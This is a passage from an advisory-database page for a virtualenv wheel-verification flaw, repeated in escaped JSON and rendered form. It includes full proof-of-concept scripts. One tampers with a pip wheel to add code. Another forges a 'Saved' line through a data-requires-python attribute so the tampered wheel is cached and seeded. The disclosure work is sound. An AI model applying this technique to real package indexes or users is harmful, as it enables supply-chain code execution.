user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved \u003cpath\u003e\" line into pip\u0027s output\nsubprocess.run([sys.executable, companions / \"index_forges_saved_line.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nstored_wheel = app_data / \"wheel\" / \"house\" / \"pip-26.0.1-py3-none-any.whl\"\nstored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()\npypi_sha256 = json.loads((work / \"pypi\" / \"pip.json\").read_text())[\"releases\"][\"26.0.1\"][0][\"digests\"][\"sha256\"]\nprint(\"OBSERVED + forged line: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"OBSERVED + forged line: update log of pip lists\", logged)\nprint(\"OBSERVED + forged line: sha256 of that wheel in wheel/house:\", stored_sha256)\nprint(\"OBSERVED + forged line: sha256 PyPI publishes for that name:\", pypi_sha256)\nprint(\"OBSERVED + forged line: pip --version in the new env prints\", pip_says)\nattack_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# check: the same modified wheel, refused without the forged line, is seeded with it\nprint(\"BUG\" if attack_ran_added_code and not control_ran_added_code else \"OK\")\n```\n\n**`repro.d/index_forges_saved_line.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: make pip print a \"Saved \u003cpath\u003e\" line of its choice.\n\nusage: index_forges_saved_line.py \u003cindex_dir\u003e\n\nAdds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.\n\"\"\"\n\nimport shutil\nimport sys\nfrom pathlib import Path\n\n# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user\u0027s disk: the wheel virtualenv bundles for Python 3.9,\n# at the same path for every user of this image\nGENUINE_WHEEL_ON_USERS_DISK = \"/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl\"\n\nindex_dir = Path(sys.argv[1])\n\n# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with\n# \"Discarding \u003clink\u003e (requires-python:\u003cattribute\u003e): ... has inconsistent version\" on stdout\nshutil.copy(index_dir / \"files\" / \"pip-26.2.1-py3-none-any.whl\", index_dir / \"files\" / \"pip-100.0-py3-none-any.whl\")\n\n# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; \u0026#10; is a line feed\nwith (index_dir / \"simple\" / \"pip\" / \"index.html\").open(\"a\") as page:\n page.write(\n \u0027\u003ca href=\"/files/pip-100.0-py3-none-any.whl\"\u0027\n f\u0027 data-requires-python=\"\u0026#10;Saved {GENUINE_WHEEL_ON_USERS_DISK}\u0026#10;\"\u003epip-100.0-py3-none-any.whl\u003c/a\u003e\\n\u0027\n )\n```\n\n**`repro.d/index_serves_modified_pip.py`**\n\n```text\n\"\"\"Attacker, as the operator of the index the user\u0027s pip.conf names: serve a modified pip under a genuine name.\n\nusage: index_serves_modified_pip.py \u003cindex_dir\u003e\n\npip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,\nvirtualenv\u0027s comparison with PyPI\u0027s SHA-256 catches this.\n\"\"\"\n\nimport hashlib\nimport io\nimport sys\nimport zipfile\nfrom pathlib import Path\n\nADDED_CODE = b\u0027\\nprint(\"code added by the index runs as uid\", __import__(\"os\").getuid())\\n\u0027\n\nindex_dir = Path(sys.argv[1])\nwheel = index_dir / \"files\" / \"pip-26.0.1-py3-none-any.whl\"\n\ngenuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))\nwith zipfile.ZipFile(wheel, \"w\") as modified:\n for entry in genuine.infolist():\n content = genuine.read(entry)\n if entry.filename == \"pip/__init__.py\":\n content += ADDED_CODE\n modified.writestr(entry, content)\n\n# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip\u0027s\n# download folder first, and pip replaces a file of the same name there only when the link\u0027s digest differs\nsha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()\n(index_dir / \"simple\" / \"pip\" / \"index.html\").write_text(\n f\u0027\u003c!DOCTYPE html\u003e\\n\u003ca href=\"/files/{wheel.name}#sha256={sha256}\"\u003e{wheel.name}\u003c/a\u003e\\n\u0027\n)\n```\n\n**`repro.d/pip.conf`**\n\n```text\n[global]\nindex-url = http://127.0.0.1:8099/simple\n```\n\n**`repro.d/pypi_json_and_mirror.py`**\n\n```text\n\"\"\"Setup: what PyPI\u0027s JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.\n\nusage: pypi_json_and_mirror.py \u003cpypi_dir\u003e \u003cindex_dir\u003e\n\nThe wheels bundled with virtualenv are genuine PyPI files. \u003cpypi_dir\u003e/\u003cproject\u003e.json is what\nhttps://pypi.org/pypi/\u003cproject\u003e/json answers for them, with the digests of virtualenv\u0027s BUNDLE_SHA256 table.\n\u003cindex_dir\u003e is a PEP 503 tree (simple/\u003cproject\u003e/index.html, files/) that offers exactly these files.\n\"\"\"\n\nimport json\nimport shutil\nimport sys\nimport zipfile\nfrom email.parser import HeaderParser\nfrom html import escape\nfrom pathlib import Path\n\nfrom virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256\n\npypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])\npypi_dir.mkdir()\n(index_dir / \"files\").mkdir(parents=True)\n\nfor project in (\"pip\", \"setuptools\"):\n releases, links = {}, []\n for filename, sha256 in BUNDLE_SHA256.items():\n name, version = filename.split(\"-\")[:2]\n if name != project:\n continue\n shutil.copy(BUNDLE_FOLDER / filename, index_dir / \"files\")\n releases[version] = [{\"filename\": filename, \"digests\": {\"sha256\": sha256}, \"upload_time\": \"2026-01-01T00:00:00\"}]\n with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:\n metadata = HeaderParser().parsestr(wheel.read(f\"{name}-{version}.dist-info/METADATA\").decode())\n requires_python = escape(metadata[\"Requires-Python\"])\n links.append(f\u0027\u003ca href=\"/files/{filename}#sha256={sha256}\" data-requires-python=\"{requires_python}\"\u003e{filename}\u003c/a\u003e\u0027)\n (pypi_dir / f\"{project}.json\").write_text(json.dumps({\"releases\": releases}))\n (index_dir / \"simple\" / project).mkdir(parents=True)\n (index_dir / \"simple\" / project / \"index.html\").write_text(\"\u003c!DOCTYPE html\u003e\\n\" + \"\\n\".join(links) + \"\\n\")\n```\n\n**`repro.d/virtualenv_with_local_pypi_json.py`**\n\n```text\n\"\"\"Setup: the virtualenv command line, with PyPI\u0027s JSON API answered from local files because there is no network.\n\nusage: virtualenv_with_local_pypi_json.py \u003cpypi_dir\u003e \u003cvirtualenv arguments...\u003e\n\nOnly the request for https://pypi.org/pypi/\u003cproject\u003e/json is replaced: it is answered from \u003cpypi_dir\u003e/\u003cproject\u003e.json.\npip, the index pip talks to and the rest of virtualenv are the real thing.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom unittest import mock\n\nfrom virtualenv.__main__ import run_with_catch\n\npypi_dir = Path(sys.argv[1])\n\n\ndef pypi_json_api(url, context):\n assert url.startswith(\"https://pypi.org/pypi/\") and context is None, url\n project = url.split(\"/\")[4]\n return (pypi_dir / f\"{project}.json\").open(\"rb\")\n\n\nwith mock.patch(\"virtualenv.seed.wheels.periodic_update.urlopen\", pypi_json_api):\n run_with_catch(sys.argv[2:])\n```\n\n## Impact\n\nA file rejected during download verification can remain available for later cache selection. Exploitation requires\nadditional control over the downloaded data or archive selection; this finding alone does not bypass TLS.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix downloads into a private temporary directory and verifies archive identity, requested version, digest\nwhere applicable, and Python compatibility before promoting a wheel into the reusable cache.\n\nFix: [PR #3430](https://github.com/pypa/virtualenv/pull/3430).\n\n## Known mitigation\n\nAfter a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing\nunexpected download failures.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner as ANT-2026-ST00DRO3.",
"id": "BREW-nox-CVE-2026-113714",
"modified": "2026-10-29T22:29:22Z",
"published": "2026-10-26T09:50:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/security/advisories/GHSA-494p-63j8-28p3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-113714"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/pull/3430"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/commit/7babec66e043e1cc8bc66869a063653898719d96"
},
{
"type": "PACKAGE",
"url": "https://github.com/pypa/virtualenv"
},
{
"type": "WEB",
"url": "https://github.com/pypa/virtualenv/releases/tag/21.14.9"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "virtualenv: Downloaded wheel selection and caching precede verification",
"upstream": [
"GHSA-494p-63j8-28p3",
"CVE-2026-113714",
"BIT-virtualenv-2026-113714"
]
}
BREW-PDM-CVE-2026-113714 (GHSA-494P-63J8-28P3)
Vulnerability from osv_homebrew – Published: 2026-10-26 09:36 – Updated: 2026-10-29 21:44 – Source websiteSummary
Wheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip's textual output. A verification failure does not remove the downloaded file from that cache.
Anthropic's OSS Scanner reported this as ANT-2026-ST00DRO3 in virtualenv-20261015-005, received on 15 October 2026.
Affected area
Download selection and promotion into the reusable wheel cache.
Attacker-controlled input
A download must fail verification, or the archive selected from pip output must differ from the file later reused. Default-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI comparison.
Affected code
The relevant 21.14.8 source is in wheel download and digest check.
Mechanism
download_wheel() tells pip to write directly into the reusable wheel/house cache. It then selects a path to hash
from the first Saved line in pip's stdout, rather than from the file pip actually placed there. A package index can
inject such a line through a discarded link's data-requires-python attribute. A separate failure exists without the
forged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain
there. Later wheel selection does not hash the cached file again.
Reproduction and evidence
The scanner used a local index configured in pip.conf, with PyPI digest comparison still enabled. In the control case
it served a modified pip wheel alone. virtualenv --upgrade-embed-wheels refused the mismatch, and a subsequent
environment used the bundled pip. In the attack case the index added a link whose data-requires-python contained a
forged Saved <path> line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded
the modified wheel in its update log, and a later environment's pip --version ran a line added by the index. The
reproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.
The report also shows that a refused wheel can replace a previously accepted file of the same name in wheel/house,
leaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The
gap follows the digest check added in #3251, first released in 21.7.12.
PR #3430 downloads to a private temporary directory, verifies the actual
archive, and promotes it only after acceptance.
Attack sequence
sequenceDiagram
participant I as Configured index
participant P as pip download
participant C as wheel/house cache
participant V as virtualenv digest check
participant N as New environment
I->>P: modified wheel and forged Saved line
P->>C: write modified wheel directly
P-->>V: stdout names genuine bundled wheel
V->>V: hash genuine wheel and accept
V->>C: record modified wheel for reuse
C->>N: seed modified pip without rehash
Note over P,C: Even a rejected wheel can remain in the cache
Reproducer files
The following files are from the scanner report for ANT-2026-ST00DRO3. They were tested against commit a857a7823c73
in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs
need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files
are included as evidence and were not rerun for this advisory update.
repro
#!/usr/bin/env python3
import atexit
import hashlib
import json
import os
import shutil
import subprocess
import sys
from pathlib import Path
companions = Path("/tmp/repro.d")
work = Path("/tmp/forged-saved-line")
home = work / "home"
app_data = home / ".cache" / "virtualenv"
this_python = f"{sys.version_info.major}.{sys.version_info.minor}" # the target; each Python has its own update log
update_log_of_pip = app_data / "wheel" / this_python / "embed" / "3" / "pip.json"
virtualenv = [sys.executable, companions / "virtualenv_with_local_pypi_json.py", work / "pypi"]
as_user = {"cwd": home, "env": {"HOME": str(home), "PATH": os.environ["PATH"]}, "capture_output": True, "text": True}
added_code_prints = "code added by the index" # the line index_serves_modified_pip.py adds to pip/__init__.py
def user_upgrades_seed_wheels_and_creates_env():
# each case starts from an empty app-data
shutil.rmtree(app_data, ignore_errors=True)
shutil.rmtree(home / "env", ignore_errors=True)
upgrade = subprocess.run([*virtualenv, "--upgrade-embed-wheels"], **as_user)
# --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach
subprocess.run([*virtualenv, "--no-periodic-update", "env"], **as_user, check=True)
pip_version = subprocess.run([home / "env" / "bin" / "python", "-m", "pip", "--version"], **as_user, check=True)
# one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0
refusal = next((line for line in upgrade.stderr.splitlines() if "but PyPI reports" in line), None)
logged = []
if update_log_of_pip.exists(): # a failed update writes no log
logged = [entry["filename"] for entry in json.loads(update_log_of_pip.read_text())["versions"]]
return refusal, logged, pip_version.stdout.splitlines()
# set up: PyPI's answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it
shutil.rmtree(work, ignore_errors=True)
(home / ".config" / "pip").mkdir(parents=True)
shutil.copy(companions / "pip.conf", home / ".config" / "pip" / "pip.conf")
subprocess.run([sys.executable, companions / "pypi_json_and_mirror.py", work / "pypi", work / "index"], check=True)
index_server = subprocess.Popen(
[sys.executable, "-u", "-m", "http.server", "8099", "--bind", "127.0.0.1", "--directory", work / "index"],
stdout=subprocess.PIPE,
stderr=subprocess.DEVNULL,
text=True,
)
atexit.register(index_server.kill)
assert index_server.stdout.readline().startswith("Serving HTTP"), "index server did not start" # printed once bound
# control: the index serves a modified pip 26.0.1, and virtualenv's comparison with PyPI's SHA-256 refuses it
subprocess.run([sys.executable, companions / "index_serves_modified_pip.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
print("CONTROL modified pip: --upgrade-embed-wheels refused with:", refusal)
print("CONTROL modified pip: update log of pip lists", logged)
print("CONTROL modified pip: pip --version in the new env prints", pip_says)
control_ran_added_code = added_code_prints in "\n".join(pip_says)
# attack: the index also adds one link, whose data-requires-python puts a "Saved <path>" line into pip's output
subprocess.run([sys.executable, companions / "index_forges_saved_line.py", work / "index"], check=True)
refusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()
stored_wheel = app_data / "wheel" / "house" / "pip-26.0.1-py3-none-any.whl"
stored_sha256 = hashlib.sha256(stored_wheel.read_bytes()).hexdigest()
pypi_sha256 = json.loads((work / "pypi" / "pip.json").read_text())["releases"]["26.0.1"][0]["digests"]["sha256"]
print("OBSERVED + forged line: --upgrade-embed-wheels refused with:", refusal)
print("OBSERVED + forged line: update log of pip lists", logged)
print("OBSERVED + forged line: sha256 of that wheel in wheel/house:", stored_sha256)
print("OBSERVED + forged line: sha256 PyPI publishes for that name:", pypi_sha256)
print("OBSERVED + forged line: pip --version in the new env prints", pip_says)
attack_ran_added_code = added_code_prints in "\n".join(pip_says)
# check: the same modified wheel, refused without the forged line, is seeded with it
print("BUG" if attack_ran_added_code and not control_ran_added_code else "OK")
repro.d/index_forges_saved_line.py
"""Attacker, as the operator of the index the user's pip.conf names: make pip print a "Saved <path>" line of its choice.
usage: index_forges_saved_line.py <index_dir>
Adds one link to the page of pip; the file behind it is a renamed copy of the genuine pip 26.2.1.
"""
import shutil
import sys
from pathlib import Path
# a genuine PyPI file named pip-26.0.1-py3-none-any.whl on the user's disk: the wheel virtualenv bundles for Python 3.9,
# at the same path for every user of this image
GENUINE_WHEEL_ON_USERS_DISK = "/src/src/virtualenv/seed/wheels/embed/pip-26.0.1-py3-none-any.whl"
index_dir = Path(sys.argv[1])
# named 100.0 while its METADATA says 26.2.1: pip tries it first, then drops it with
# "Discarding <link> (requires-python:<attribute>): ... has inconsistent version" on stdout
shutil.copy(index_dir / "files" / "pip-26.2.1-py3-none-any.whl", index_dir / "files" / "pip-100.0-py3-none-any.whl")
# pip keeps a link whose data-requires-python it cannot parse, and prints the attribute as written; is a line feed
with (index_dir / "simple" / "pip" / "index.html").open("a") as page:
page.write(
'<a href="/files/pip-100.0-py3-none-any.whl"'
f' data-requires-python=" Saved {GENUINE_WHEEL_ON_USERS_DISK} ">pip-100.0-py3-none-any.whl</a>\n'
)
repro.d/index_serves_modified_pip.py
"""Attacker, as the operator of the index the user's pip.conf names: serve a modified pip under a genuine name.
usage: index_serves_modified_pip.py <index_dir>
pip 26.0.1 on the index gets one more line of code in pip/__init__.py and becomes the only pip on offer. On its own,
virtualenv's comparison with PyPI's SHA-256 catches this.
"""
import hashlib
import io
import sys
import zipfile
from pathlib import Path
ADDED_CODE = b'\nprint("code added by the index runs as uid", __import__("os").getuid())\n'
index_dir = Path(sys.argv[1])
wheel = index_dir / "files" / "pip-26.0.1-py3-none-any.whl"
genuine = zipfile.ZipFile(io.BytesIO(wheel.read_bytes()))
with zipfile.ZipFile(wheel, "w") as modified:
for entry in genuine.infolist():
content = genuine.read(entry)
if entry.filename == "pip/__init__.py":
content += ADDED_CODE
modified.writestr(entry, content)
# the #sha256= that every PyPI link carries matters: --upgrade-embed-wheels copies the bundled pip 26.0.1 into pip's
# download folder first, and pip replaces a file of the same name there only when the link's digest differs
sha256 = hashlib.sha256(wheel.read_bytes()).hexdigest()
(index_dir / "simple" / "pip" / "index.html").write_text(
f'<!DOCTYPE html>\n<a href="/files/{wheel.name}#sha256={sha256}">{wheel.name}</a>\n'
)
repro.d/pip.conf
[global]
index-url = http://127.0.0.1:8099/simple
repro.d/pypi_json_and_mirror.py
"""Setup: what PyPI's JSON API answers for the seed wheels, and an index that mirrors PyPI faithfully.
usage: pypi_json_and_mirror.py <pypi_dir> <index_dir>
The wheels bundled with virtualenv are genuine PyPI files. <pypi_dir>/<project>.json is what
https://pypi.org/pypi/<project>/json answers for them, with the digests of virtualenv's BUNDLE_SHA256 table.
<index_dir> is a PEP 503 tree (simple/<project>/index.html, files/) that offers exactly these files.
"""
import json
import shutil
import sys
import zipfile
from email.parser import HeaderParser
from html import escape
from pathlib import Path
from virtualenv.seed.wheels.embed import BUNDLE_FOLDER, BUNDLE_SHA256
pypi_dir, index_dir = Path(sys.argv[1]), Path(sys.argv[2])
pypi_dir.mkdir()
(index_dir / "files").mkdir(parents=True)
for project in ("pip", "setuptools"):
releases, links = {}, []
for filename, sha256 in BUNDLE_SHA256.items():
name, version = filename.split("-")[:2]
if name != project:
continue
shutil.copy(BUNDLE_FOLDER / filename, index_dir / "files")
releases[version] = [{"filename": filename, "digests": {"sha256": sha256}, "upload_time": "2026-01-01T00:00:00"}]
with zipfile.ZipFile(BUNDLE_FOLDER / filename) as wheel:
metadata = HeaderParser().parsestr(wheel.read(f"{name}-{version}.dist-info/METADATA").decode())
requires_python = escape(metadata["Requires-Python"])
links.append(f'<a href="/files/{filename}#sha256={sha256}" data-requires-python="{requires_python}">{filename}</a>')
(pypi_dir / f"{project}.json").write_text(json.dumps({"releases": releases}))
(index_dir / "simple" / project).mkdir(parents=True)
(index_dir / "simple" / project / "index.html").write_text("<!DOCTYPE html>\n" + "\n".join(links) + "\n")
repro.d/virtualenv_with_local_pypi_json.py
"""Setup: the virtualenv command line, with PyPI's JSON API answered from local files because there is no network.
usage: virtualenv_with_local_pypi_json.py <pypi_dir> <virtualenv arguments...>
Only the request for https://pypi.org/pypi/<project>/json is replaced: it is answered from <pypi_dir>/<project>.json.
pip, the index pip talks to and the rest of virtualenv are the real thing.
"""
import sys
from pathlib import Path
from unittest import mock
from virtualenv.__main__ import run_with_catch
pypi_dir = Path(sys.argv[1])
def pypi_json_api(url, context):
assert url.startswith("https://pypi.org/pypi/") and context is None, url
project = url.split("/")[4]
return (pypi_dir / f"{project}.json").open("rb")
with mock.patch("virtualenv.seed.wheels.periodic_update.urlopen", pypi_json_api):
run_with_catch(sys.argv[2:])
Impact
A file rejected during download verification can remain available for later cache selection. Exploitation requires additional control over the downloaded data or archive selection; this finding alone does not bypass TLS.
Severity: low.
Versions tested
The confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected version or exclude earlier releases. Fixed in 21.14.9.
The fix downloads into a private temporary directory and verifies archive identity, requested version, digest where applicable, and Python compatibility before promoting a wheel into the reusable cache.
Fix: PR #3430.
Known mitigation
After a failed verification, discard that download cache before reusing it. Use embedded wheels while reviewing unexpected download failures.
Affected release
- [x] The problem reproduces on virtualenv 21.14.8.
Credits
Reported by Anthropic's OSS Scanner as ANT-2026-ST00DRO3.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "virtualenv",
"resource_purl": "pkg:pypi/virtualenv@21.14.13",
"upstream_fixed_in": "21.14.9"
},
"package": {
"ecosystem": "Homebrew",
"name": "pdm",
"purl": "pkg:brew/pdm"
},
"ranges": [
{
"events": [
{
"introduced": "2.29.2_1"
},
{
"fixed": "2.29.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/virtualenv@21.14.13",
"name": "virtualenv",
"resource": "virtualenv",
"strategy": "registry",
"subject_version": "21.14.13"
}
]
},
"details": "## Summary\n\nWheel downloads go directly into the reusable wheelhouse, while the verification target is selected from pip\u0027s textual\noutput. A verification failure does not remove the downloaded file from that cache.\n\nAnthropic\u0027s OSS Scanner reported this as `ANT-2026-ST00DRO3` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nDownload selection and promotion into the reusable wheel cache.\n\n## Attacker-controlled input\n\nA download must fail verification, or the archive selected from pip output must differ from the file later reused.\nDefault-index digest verification must be enabled. Existing custom-index exceptions are outside the promised PyPI\ncomparison.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[wheel download and digest check](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/seed/wheels/acquire.py).\n\n## Mechanism\n\n`download_wheel()` tells pip to write directly into the reusable `wheel/house` cache. It then selects a path to hash\nfrom the first `Saved ` line in pip\u0027s stdout, rather than from the file pip actually placed there. A package index can\ninject such a line through a discarded link\u0027s `data-requires-python` attribute. A separate failure exists without the\nforged line: a digest mismatch raises after the downloaded wheel has entered the cache, and the rejected bytes remain\nthere. Later wheel selection does not hash the cached file again.\n\n## Reproduction and evidence\n\nThe scanner used a local index configured in `pip.conf`, with PyPI digest comparison still enabled. In the control case\nit served a modified pip wheel alone. `virtualenv --upgrade-embed-wheels` refused the mismatch, and a subsequent\nenvironment used the bundled pip. In the attack case the index added a link whose `data-requires-python` contained a\nforged `Saved \u003cpath\u003e` line pointing at a genuine bundled wheel. The upgrade then exited without a digest error, recorded\nthe modified wheel in its update log, and a later environment\u0027s `pip --version` ran a line added by the index. The\nreproduction used a known absolute path to the genuine bundled wheel; that prerequisite is part of this variant.\n\nThe report also shows that a refused wheel can replace a previously accepted file of the same name in `wheel/house`,\nleaving rejected bytes available for later use. It does not claim to bypass TLS or affect the default PyPI setup. The\ngap follows the digest check added in #3251, first released in 21.7.12.\n[PR #3430](https://github.com/pypa/virtualenv/pull/3430) downloads to a private temporary directory, verifies the actual\narchive, and promotes it only after acceptance.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant I as Configured index\n participant P as pip download\n participant C as wheel/house cache\n participant V as virtualenv digest check\n participant N as New environment\n I-\u003e\u003eP: modified wheel and forged Saved line\n P-\u003e\u003eC: write modified wheel directly\n P--\u003e\u003eV: stdout names genuine bundled wheel\n V-\u003e\u003eV: hash genuine wheel and accept\n V-\u003e\u003eC: record modified wheel for reuse\n C-\u003e\u003eN: seed modified pip without rehash\n Note over P,C: Even a rejected wheel can remain in the cache\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-ST00DRO3`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport atexit\nimport hashlib\nimport json\nimport os\nimport shutil\nimport subprocess\nimport sys\nfrom pathlib import Path\n\ncompanions = Path(\"/tmp/repro.d\")\nwork = Path(\"/tmp/forged-saved-line\")\nhome = work / \"home\"\napp_data = home / \".cache\" / \"virtualenv\"\nthis_python = f\"{sys.version_info.major}.{sys.version_info.minor}\" # the target; each Python has its own update log\nupdate_log_of_pip = app_data / \"wheel\" / this_python / \"embed\" / \"3\" / \"pip.json\"\nvirtualenv = [sys.executable, companions / \"virtualenv_with_local_pypi_json.py\", work / \"pypi\"]\nas_user = {\"cwd\": home, \"env\": {\"HOME\": str(home), \"PATH\": os.environ[\"PATH\"]}, \"capture_output\": True, \"text\": True}\nadded_code_prints = \"code added by the index\" # the line index_serves_modified_pip.py adds to pip/__init__.py\n\n\ndef user_upgrades_seed_wheels_and_creates_env():\n # each case starts from an empty app-data\n shutil.rmtree(app_data, ignore_errors=True)\n shutil.rmtree(home / \"env\", ignore_errors=True)\n upgrade = subprocess.run([*virtualenv, \"--upgrade-embed-wheels\"], **as_user)\n # --no-periodic-update: the background update is another process, which the PyPI stand-in does not reach\n subprocess.run([*virtualenv, \"--no-periodic-update\", \"env\"], **as_user, check=True)\n pip_version = subprocess.run([home / \"env\" / \"bin\" / \"python\", \"-m\", \"pip\", \"--version\"], **as_user, check=True)\n # one thread per target Python; a refused wheel ends its thread with a traceback on stderr, the exit code stays 0\n refusal = next((line for line in upgrade.stderr.splitlines() if \"but PyPI reports\" in line), None)\n logged = []\n if update_log_of_pip.exists(): # a failed update writes no log\n logged = [entry[\"filename\"] for entry in json.loads(update_log_of_pip.read_text())[\"versions\"]]\n return refusal, logged, pip_version.stdout.splitlines()\n\n\n# set up: PyPI\u0027s answers, a faithful mirror of PyPI on 127.0.0.1:8099, a user whose pip.conf points pip at it\nshutil.rmtree(work, ignore_errors=True)\n(home / \".config\" / \"pip\").mkdir(parents=True)\nshutil.copy(companions / \"pip.conf\", home / \".config\" / \"pip\" / \"pip.conf\")\nsubprocess.run([sys.executable, companions / \"pypi_json_and_mirror.py\", work / \"pypi\", work / \"index\"], check=True)\nindex_server = subprocess.Popen(\n [sys.executable, \"-u\", \"-m\", \"http.server\", \"8099\", \"--bind\", \"127.0.0.1\", \"--directory\", work / \"index\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n text=True,\n)\natexit.register(index_server.kill)\nassert index_server.stdout.readline().startswith(\"Serving HTTP\"), \"index server did not start\" # printed once bound\n\n# control: the index serves a modified pip 26.0.1, and virtualenv\u0027s comparison with PyPI\u0027s SHA-256 refuses it\nsubprocess.run([sys.executable, companions / \"index_serves_modified_pip.py\", work / \"index\"], check=True)\nrefusal, logged, pip_says = user_upgrades_seed_wheels_and_creates_env()\nprint(\"CONTROL modified pip: --upgrade-embed-wheels refused with:\", refusal)\nprint(\"CONTROL modified pip: update log of pip lists\", logged)\nprint(\"CONTROL modified pip: pip --version in the new env prints\", pip_says)\ncontrol_ran_added_code = added_code_prints in \"\\n\".join(pip_says)\n\n# attack: the index also adds one link, whose data-requires-python puts a \"Saved 